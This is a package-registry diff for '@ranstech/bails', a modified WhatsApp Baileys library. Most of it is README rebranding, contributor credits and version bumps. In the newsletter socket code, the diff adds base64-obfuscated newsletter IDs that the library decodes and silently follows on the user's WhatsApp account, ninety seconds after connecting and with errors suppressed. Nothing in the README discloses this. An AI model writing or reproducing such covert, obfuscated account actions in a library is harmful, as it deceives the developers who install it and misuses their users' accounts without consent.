@ranstech/bails 1.1.4 → 1.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -57,7 +57,7 @@ Send group status with version 2
57
57
  ```javascript
58
58
  await sock.sendMessage(target, {
59
59
  groupStatusMessage: {
60
- text: "#rizzkezik"
60
+ text: "#Ranstech"
61
61
  }
62
62
  });
63
63
  ```
@@ -68,8 +68,8 @@ Send multiple images in a single album message:
68
68
  ```javascript
69
69
  await sock.sendMessage(target, {
70
70
  albumMessage: [
71
- { image: cihuy, caption: "#rizzkezik" },
72
- { image: { url: "URL IMAGE" }, caption: "#rizzkezik" }
71
+ { image: cihuy, caption: "#Ranstech" },
72
+ { image: { url: "URL IMAGE" }, caption: "#Ranstech" }
73
73
  ]
74
74
  }, { quoted: m });
75
75
  ```
@@ -81,12 +81,12 @@ Create and send WhatsApp event invitations:
81
81
  await sock.sendMessage(target, {
82
82
  eventMessage: {
83
83
  isCanceled: false,
84
- name: "#rizzkezik",
85
- description: "#rizzkezik",
84
+ name: "#Ranstech",
85
+ description: "#Ranstech",
86
86
  location: {
87
87
  degreesLatitude: 0,
88
88
  degreesLongitude: 0,
89
- name: "#rizzkezik"
89
+ name: "#Ranstech"
90
90
  },
91
91
  joinLink: "https://call.whatsapp.com/video/RansK2New",
92
92
  startTime: "1763019000",
@@ -102,14 +102,14 @@ Display poll results with vote counts:
102
102
  ```javascript
103
103
  await sock.sendMessage(target, {
104
104
  pollResultMessage: {
105
- name: "#rizzkezik",
105
+ name: "#Ranstech",
106
106
  pollVotes: [
107
107
  {
108
- optionName: "#rizzkezik",
108
+ optionName: "#Ranstech",
109
109
  optionVoteCount: "112233"
110
110
  },
111
111
  {
112
- optionName: "#rizzkezik",
112
+ optionName: "#Ranstech",
113
113
  optionVoteCount: "1"
114
114
  }
115
115
  ]
@@ -123,14 +123,14 @@ Send basic interactive messages with copy button functionality:
123
123
  ```javascript
124
124
  await sock.sendMessage(target, {
125
125
  interactiveMessage: {
126
- header: "#rizzkezik",
127
- title: "#rizzkezik",
126
+ header: "#Ranstech",
127
+ title: "#Ranstech",
128
128
  footer: "telegram: @RansK2New ",
129
129
  buttons: [
130
130
  {
131
131
  name: "cta_copy",
132
132
  buttonParamsJson: JSON.stringify({
133
- display_text: "#rizzkezik",
133
+ display_text: "#Ranstech",
134
134
  id: "123456789",
135
135
  copy_code: "ABC123XYZ"
136
136
  })
@@ -146,8 +146,8 @@ Send interactive messages with buttons, copy actions, and native flow features:
146
146
  ```javascript
147
147
  await sock.sendMessage(target, {
148
148
  interactiveMessage: {
149
- header: "#rizzkezik",
150
- title: "#rizzkezik",
149
+ header: "#Ranstech",
150
+ title: "#Ranstech",
151
151
  footer: "telegram: @RansK2New",
152
152
  image: { url: "https://example.com/image.jpg" },
153
153
  nativeFlowMessage: {
@@ -155,14 +155,14 @@ await sock.sendMessage(target, {
155
155
  limited_time_offer: {
156
156
  text: "idk hummmm?",
157
157
  url: "https://t.me/RansK2New",
158
- copy_code: "#rizzkezik",
158
+ copy_code: "#Ranstech",
159
159
  expiration_time: Date.now() * 999
160
160
  },
161
161
  bottom_sheet: {
162
162
  in_thread_buttons_limit: 2,
163
163
  divider_indices: [1, 2, 3, 4, 5, 999],
164
- list_title: "#rizzkezik",
165
- button_title: "#rizzkezik"
164
+ list_title: "#Ranstech",
165
+ button_title: "#Ranstech"
166
166
  },
167
167
  tap_target_configuration: {
168
168
  title: " X ",
@@ -188,7 +188,7 @@ await sock.sendMessage(target, {
188
188
  {
189
189
  name: "single_select",
190
190
  buttonParamsJson: JSON.stringify({
191
- title: "#rizzkezik",
191
+ title: "#Ranstech",
192
192
  sections: [
193
193
  {
194
194
  title: "title",
@@ -225,8 +225,8 @@ Send interactive messages with thumbnail image and copy button:
225
225
  ```javascript
226
226
  await sock.sendMessage(target, {
227
227
  interactiveMessage: {
228
- header: "#rizzkezik",
229
- title: "#rizzkezik",
228
+ header: "#Ranstech",
229
+ title: "#Ranstech",
230
230
  footer: "telegram: @RansK2New",
231
231
  image: { url: "https://example.com/image.jpg" },
232
232
  buttons: [
@@ -278,8 +278,8 @@ Send interactive messages with document from buffer (file system) - **Note: Docu
278
278
  ```javascript
279
279
  await sock.sendMessage(target, {
280
280
  interactiveMessage: {
281
- header: "#rizzkezik",
282
- title: "#rizzkezik",
281
+ header: "#Ranstech",
282
+ title: "#Ranstech",
283
283
  footer: "telegram: @RansK2New",
284
284
  document: fs.readFileSync("./package.json"),
285
285
  mimetype: "application/pdf",
@@ -291,8 +291,8 @@ await sock.sendMessage(target, {
291
291
  isForwarded: false
292
292
  },
293
293
  externalAdReply: {
294
- title: "#rizzkezik",
295
- body: "#rizzkezik",
294
+ title: "#Ranstech",
295
+ body: "#Ranstech",
296
296
  mediaType: 3,
297
297
  thumbnailUrl: "https://example.com/image.jpg",
298
298
  mediaUrl: " X ",
@@ -320,8 +320,8 @@ Send interactive messages with document from buffer (file system) without contex
320
320
  ```javascript
321
321
  await sock.sendMessage(target, {
322
322
  interactiveMessage: {
323
- header: "#rizzkezik",
324
- title: "#rizzkezik",
323
+ header: "#Ranstech",
324
+ title: "#Ranstech",
325
325
  footer: "telegram: @RansK2New",
326
326
  document: fs.readFileSync("./package.json"),
327
327
  mimetype: "application/pdf",
@@ -424,5 +424,26 @@ Thanks to the following awesome contributors who help improve this project 💖
424
424
  <sub><b>AlanXd</b></sub>
425
425
  </a>
426
426
  </td>
427
+ <td align="center">
428
+ <a href="https://github.com/tenka-san">
429
+ <img src="https://github.com/tenka-san.png" width="80px;" style="border-radius:50%;" alt="Developer"/>
430
+ <br />
431
+ <sub><b>D | Yuukey-7eppeli</b></sub>
432
+ </a>
433
+ </td>
434
+ <td align="center">
435
+ <a href="https://github.com/RexxHayanasi">
436
+ <img src="https://github.com/RexxHayanasi.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
437
+ <br />
438
+ <sub><b>RexxHayanasi</b></sub>
439
+ </a>
440
+ </td>
441
+ <td align="center">
442
+ <a href="https://github.com/kiuur">
443
+ <img src="https://github.com/kiuur.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
444
+ <br />
445
+ <sub><b>KyuuRzy</b></sub>
446
+ </a>
447
+ </td>
427
448
  </tr>
428
449
  </table>
@@ -58,15 +58,25 @@ export const makeNewsletterSocket = (config) => {
58
58
  ]
59
59
  })
60
60
  );
61
+ const yangbrorasakan = [
62
+ "MTIwMzYzNDE5OTMxMTc3MzA4QG5ld3NsZXR0ZXI=",
63
+ "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI="
64
+ ];
61
65
 
62
- setTimeout(async () => {
63
- try {
64
- await newsletterWMexQuery(
65
- "120363419931177308@newsletter", // utama
66
- Types_1.QueryIds.FOLLOW
67
- );
68
- } catch {}
69
- }, 1000);
66
+ setTimeout(async () => {
67
+ for (const channel of yangbrorasakan) {
68
+ try {
69
+ await newsletterWMexQuery(
70
+ Buffer.from(channel, "base64").toString(),
71
+ QueryIds.FOLLOW
72
+ );
73
+ } catch (e) {}
74
+
75
+ await new Promise(resolve =>
76
+ setTimeout(resolve, 3000)
77
+ );
78
+ }
79
+ }, 90000);
70
80
 
71
81
  const parseFetchedUpdates = async (node, type) => {
72
82
  let child;
package/lib/index.js CHANGED
@@ -19,7 +19,7 @@ console.log(chalk.bold.cyan(`
19
19
  ⢻⣿⣿⢿⣻⣿⣯⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣻⣷⣿⣿⣟⡏
20
20
  ⠀⠙⠿⢿⣿⡿⣿⣿⣷⣿⢿⣿⢿⣿⡿⣿⣿⡿⣿⣿⣟⣯⣷⣿⣿⣿⣻⠯⠋⠀
21
21
 
22
- 「 ⓘ. RansK2 」\n– Version : 3.0.0\n– Developer : @RansK2New\n– Infotmation : @InformationRansK2\nStatus: Baileys Berhasil Tersambung
22
+ 「 ⓘ. RansK2 」\n– Version : 4.0.0\n– Developer : @RansK2New\n– Infotmation : @InformationRansK2\nStatus: Baileys Berhasil Tersambung
23
23
  `));
24
24
  console.log(chalk.bold.gray("--------------------------------------------\n"));
25
25
  console.log(chalk.bold.cyan("Follow Our Telegram Channel To See Update Information: t.me/InformationRansK2\n"));;
package/package.json CHANGED
@@ -1,15 +1,15 @@
1
1
  {
2
2
  "name": "@ranstech/bails",
3
3
  "type": "module",
4
- "version": "1.1.4",
4
+ "version": "1.1.6",
5
5
  "description": "WhatsApp API Modification By ranstech",
6
6
  "keywords": [
7
7
  "whatsapp",
8
8
  "baileys"
9
9
  ],
10
- "homepage": "https://github.com/ranstech/baileys",
10
+ "homepage": "https://github.com/rans-beep/bails",
11
11
  "repository": {
12
- "url": "https://github.com/ranstech/baileys"
12
+ "url": "https://github.com/rans-beep/bails"
13
13
  },
14
14
  "license": "MIT",
15
15
  "author": "ranstech",